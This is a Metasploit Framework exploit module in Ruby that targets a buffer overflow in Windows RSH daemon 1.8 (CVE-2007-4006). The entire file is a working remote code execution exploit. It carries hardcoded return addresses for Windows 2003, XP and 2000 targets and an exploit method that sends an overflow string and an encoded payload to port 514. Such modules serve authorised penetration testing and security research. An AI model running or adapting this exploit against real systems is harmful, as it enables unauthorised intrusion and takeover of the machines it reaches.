metasploit-framework/modules/exploits/windows/misc/windows_rsh.rb

72 lines
2.0 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows RSH Daemon Buffer Overflow',
'Description' => %q{
This module exploits a vulnerabliltiy in Windows RSH daemon 1.8.
The vulnerability is due to a failure to check for the length of input sent
to the RSH server. A CPORT of 512 -> 1023 must be configured for the exploit
to be successful.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2007-4006'],
['OSVDB', '38572'],
['BID', '25044'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'AllowWin32SEH' => true
},
'Payload' =>
{
'Space' => 850,
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2003 SP1 English', { 'Ret' => 0x77409dbb } ],
[ 'Windows XP Pro SP2 English', { 'Ret' => 0x7e497c7b } ],
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77f81be3 } ],
],
'Privileged' => true,
'DisclosureDate' => 'Jul 24 2007',
'DefaultTarget' => 0))
register_options([Opt::RPORT(514)], self.class)
end
def exploit
connect
sploit = (("\x00" + rand_text_english(1)) * 2) + "\x00"
sploit << rand_text_english(1024) + [target.ret].pack('V')
sploit << payload.encoded
print_status("Trying target #{target.name}...")
sock.put(sploit)
handler
disconnect
end
end